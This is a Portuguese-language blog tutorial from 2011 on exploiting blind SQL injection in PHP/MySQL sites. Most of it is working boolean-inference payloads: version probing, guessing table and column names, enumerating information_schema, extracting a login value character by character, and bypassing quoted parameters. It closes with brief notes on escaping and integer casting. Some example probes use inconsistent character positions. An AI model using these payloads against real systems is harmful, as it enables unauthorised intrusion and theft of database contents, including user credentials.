sexta-feira, 25 de novembro de 2011

Blind Sql Injection


Acredito que informaçao deve ser compartilhada
Quem tem gosto há de a entender =)
Olás a todos neste tutorial irei explicar do que se trata Sql Injection -- Blind
Porque acontece o erro e como explora.lo

Aviso: Vao precisar de tempo

Requesitos Noção basica de Sql

Começando...

Podemos observar abaixo o seguinte codigo vulneravel:

Código:
// Verifica a id do login
$id = " ";
$query = " SELECT * FROM usuarios WHERE login = $id ";
echo "Normal: " . $query . "<br />";

O que se esta a passar acima?
Bem.. basicamente temos um script escrito em php onde estamos a recorrer ao mysql. Na variavel $query estamos a seleccionar todas as colunas da tabela usuarios onde a coluna login tem o valor $id que e inserida pela pessoa que esta a navegar.

O comando echo faz com que retorne na pagina todas as colunas dessa tabela se a sintase for verdadeira e estiver correcta.

-----------------------------------------------

Exemplo de exploraçao da vulnerabilidade

Código:
// Verifica a id do login
$id = "1 AND 1=1 ";
Sendo assim na nossa base de dados ficaria:

Código:
// Verifica a id do login
$query = " SELECT * FROM usuarios WHERE login = 1 AND 1=1 ";
echo "Normal: " . $query . "<br />";
Bem como isto e um tutorial de blind vamos passar qo que interessa...

Como a afirmaçao acima contida em $id e verdadeira e nao apresenta erros de sintase a pagina vai abrir normal e retornar todas as colunas do usuario cuja $id = 1

-----

Agora vamos testar:

Código:
$id = " 1 AND 1=0 "
Ficando:

Código:
// Verifica a id do login
$query = " SELECT * FROM usuarios WHERE login = 1 AND 1=0 ";
echo "Normal: " . $query . "<br />";
Acima podemos verificar que a sintase nao tem erros porem 1 != (e diferente) 0 logo esta afirmaçao nao e verdadeira o que nos irá retornar a pagina, porém sem conteudo

É precisamente aqui que nos vamos servir da vulnerabilidade
Lembrando que o nome Blind Sql injection deriva disto
Estamos a injectar codigos onde o site nao nos retorna erros baseamo.nos em verdadeiros e falsos (lembrando que existem outros metodos com wait for delay e etc que nao irei abordar ainda neste tutorial)

----------

Passando a acçao:

Agora poderemos nos servir de algumas funçoes do mysql para explorar a falha, por exemplo...

[Ja devem ter ficado com uma noçao...a partir daqui vou postar menos vezes o script todo e resumir.me a injection]

Exemplo:

Código:
1 AND substring(@@version,1,1)=5
O que significa?
Basicamente estamos a recorrer a funçao substring do mysql.
O que e uma string?
String e uma cadeia de caracteres.
O que faz a substring() ?
A funçao substring() adiciona valores (string) dentro dela. Nos poderemos aproveitar esta funçao para verificar caracter a caracter cada letra desse mesmo valor...

Simplificando...

No codigo acima estamos a adicionar @@version e verificar o seu primeiro caracter em ,1,1 neste caso...verificamos se e igual a 5

Suponhamos que a versao e a 5.0.27 entao p primeiro caracter desta string e =5 Sendo assim a afirmaçao injectada verdadeira. Logo o conteudo do site irá aparecer.

Se testarmos com

Código:
1 AND substring(@@version,1,1)=4
O conteudo nao ira aparecer porque apesar da sintase ser correcta, e falsa, logo nao vai retornar nada no site.

Espero que tenham percebido...

O que nos interessa saber?
O nome da base de dados, das colunas e das tabelas
Normalmente o nome da base de dados nem verificamos em blind
Por isso vou so verificar as tabelas e colunas visto que o processo e o mesmo

Explorando...

Código:
1 AND (select 1)=1
O site retorna.nos verdadeiro and =2 obvio que nao retorna nada

-----------------

Adivinhaçao de tabelas:

Código:
1 AND (select 1 from nome_da_tabela)=1
Vamos testando varios nomes ate acertar ...
Neste caso para nos dar um resultado verdadeiro no retorno da pagina teria que ser :

Código:
1 AND (select 1 from usuarios)=1
Usamos o mesmo procedimento para listarmos as colunas:

Código:
1 AND (select nome_da_coluna from usuarios)=1
Para obtermos retorno verdadeiro neste caso especifica seria:

Código:
1 AND (select login from usuarios)=1
E o site apareceria com o conteudo do usuario cuja $id = 1
(ja se tinham esquecido do script nao? )

Porem nao nos retorna o valor da coluna login
Lógico que nao. Como isto e um tutorial de blind nao me interessa explicar a exploraçao de mudar a $id para negativa e juntar as colunas todas com union.

---------------------------

Vamos agora descubrir qual o valor que esta contido na coluna login
Para isso vamos usar outra funçao.
A funçao ascii() e verificamos o valor de cada caracter ascii em decimal

Explorando e esplicando...

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>0
O que faz o codigo acima?
Bem basicamente temos uma string com a concatenaçao da coluna login (usei o comando concat caso queiram concatenar colunas ne? ) e vamos verificar o valor do primeiro caracter em ascii, com a funçao ascii() neste caso o site retornanos verdadeiro (a esta altura do campeonato ja devem saber o que verdadeiro e ) porque o primeiro caracter da substring() que contem o valor da coluna login no limite 0,1 é >0

Leiam bem com atençao para nao restarem duvidas

------------

Sabendo isto vamos verificar agora qual o valor exacto (em decimal) deste caracter:

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>50
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>94
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>100
Falso hummmm

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>96
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>97
Falso

Ora bem ja temos o nosso primeiro caracter do valor da coluna login
O primeiro caracter e >96 mas nao e >97 logo o nosso caracter vai ser 97
Agora so precisamos de ir a uma tabela ascii verificar o caracter correspondente ao valor 97 em ascii será ele [a]
(Boa tabela no fim do tutorial)

Feito isto vamos passar a verificaçao do 2 caracter...

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),2,1))>0
Verdadeiro -- Logo existe (ja explico)

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>96
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>105
Falso

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>99
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>100
Falso

Na tabela ascii 100 corresponde ao caracter [d]

Ja temos.. ad

Vou passar alguns caracteres a frente....

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),5,1))>96
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>105
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>110
Falso

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>108
Verdadeiro

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>109
Verdadeiro

Perceberam? o caracter e >109 mas nao e >110 logo o 5º caracter e [n]

Agora nos temos ad**n

Como podem calcular se fizessemos os outros caracteres o valor da coluna login sera admin

Mas......

Vamos testar se nao a mais caracteres para a frente

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 0,1),6,1))>0
Falso

O que significa?

Significa que o 6º Caractere nao e >0 logo nao existe

Passemos agora ao proximo usuario...

Código:
1 AND ascii(substring((select concat(login) from usuarios limit 1,1),1,1))>0
Verdadeiro

Basta apenas ir mudar o limit para o a seguir e ir usando a mesma tecnica

Acham cansativo?
Esperem ate ler o proximo...

-------------------------------------------

Descobrir nome de tabelas e colunas de modo infalivel

Bem na tecnica acima tentamos adivinhar o nome da tabela e da coluna -- tivemos sorte...mas e quando o nome nao e assim tao facil de adivinhar?

Foi aqui que pus o cerebro a trabalhar...bem..facil

Vejamos:

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 0,1),1,1))>0
Verdadeiro

Nao tem nada que saber pessoal...agora e usar o mesmo metodo para descubrir o nome da tabela

Ja sabemos que a primeira letra....

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 0,1),1,1))>66
Verdadeiro

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 0,1),1,1))>67
Falso
o 1º caracter seria C

Podemos ate deduzir que o resto do nome seria CHARACTER_SETS


Onde esta o truque?

O truque agora esta em tentar ser objectivo...
Por exemplo...vamos logo tentar descubrir a tabela onde a primeira letra seja um [a] de admin se nao houver... um [l] de login .. [m] de membros , [u] de usuarios...isso agora fica ao vosso criterio...

Neste tutorial especifico o nome da tabela e usuarios logo vou usar este

Primeiro vemos quantas tabelas tem a base de dados... usando o limit

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 100,1),1,1))>0
Verdadeiro

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 101,1),1,1))>66
Falso

Vemos que tem 101 tabelas...
Agora vemos qual a tabela que começa pela letra [u]

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 101,1),1,1))>117
Verdadeiro

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 50,1),1,1))>117
Verdadeiro

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 49,1),1,1))>117
Falso

Código:
1 AND ascii(substring((select concat(table_name) from information_schema.tables limit 49,1),1,1))>116
Verdadeiro

Logo a primeira letra da tabela [49] e [u]
Usamos a mesma tecnica para descubrir o resto do nome...que neste caso seria usuarios...


Descubrindo as colunas...

Código:
1 AND ascii(substring((select concat(columns_name) from information_schema.columns where table_name='nome da coluna' limit 0,1),1,1))>0
Verdadeiro

A tecnica usada seria a mesma tanto para os caracteres como para o posicionamente da coluna na base de dados..e so ser esperto


Quando tivermos o nome das tabelas e colunas e so concatenar o resultado como ja explicado acima



-----------------------------------

Barreiras impostas pelos admins:

Bem, existem maneiras de os admins tentarem dificultar a tarefa...
Uma delas...

Código:
// Verifica a id do login
$id = " ";
$query = " SELECT * FROM usuarios WHERE login = '$id' ";
echo "Normal: " . $query . "<br />";
Bem facil de passar basta obter uma sintase correcta...
Neste caso

Código:
1 AND 1=1
Falso -- O site nao diz mas e erro de sintase
Código:
1' AND '1'='1
Verdadeiro



Vamos verificar

Código:
$query = " SELECT * FROM usuarios WHERE login = '1' AND '1'='1' ";
A partir daqui e usar o mesmo metodo para dar a volta a sintase

Código:
1' AND substring(@@version,1,1)='4
Código:
1' AND (select nome_da_coluna from usuarios)='1
Código:
1' AND ascii(substring((select concat(login) from usuarios limit 0,1),1,1))>'0
Código:
1' AND ascii(substring((select concat(columns_name) from information_schema.columns where table_name='nome da coluna' limit 0,1),1,1))>'0
Só arranjar maneira de obter uma sintase correcta

--------------------

Agora...quando as magic quotes estao ligadas
Uma das opçoes ainda bastante usada pelos admins para travar lammers de invadirem o seu site e o uso das magic quotes. Em que consiste este processo?

O administrador utiliza a funçao mysql_real_escape_string()
Vejam abaixo:

Código:
// Verifica a id do login
$id = mysql_real_escape_string($id);
$query = " SELECT * FROM usuarios WHERE login = '$id' ";
echo "Normal: " . $query . "<br />";
O que faz essa funçao?
Ela vai substituir as quotes(') por \'

Assim ficando a nossa injection...

Código:
1\' AND \'1\'=\'1
Falso

O site nao retornaria o os valores das colunas.

Bem a verdade e que se as magic quotes estiverem ligadas com blind sql injection nao conseguimos explorar..so com advanced :/

Se o site so estiver vulneravel a blind..podem esquecer xD

------------------------

Boa protecçao usada pelos admins abaixo

Código:
// Verifica a id do login
$id = (int)$_GET['id'];
$query = " SELECT * FROM usuarios WHERE login = '$id' ";
echo "Normal: " . $query . "<br />";
Assim a pagina so vai retornar os valores se id for inteiro
- esta vai greetz po ravnos -

-------------------------------

Ora espero que tenham gostado e percebido
Deu bastante trabalho a escrever...
Por isso façam o favor de meter os creditos onde quer que seja que postem este tutorial

Creditos: Lenamote™

Nenhum comentário:

Postar um comentário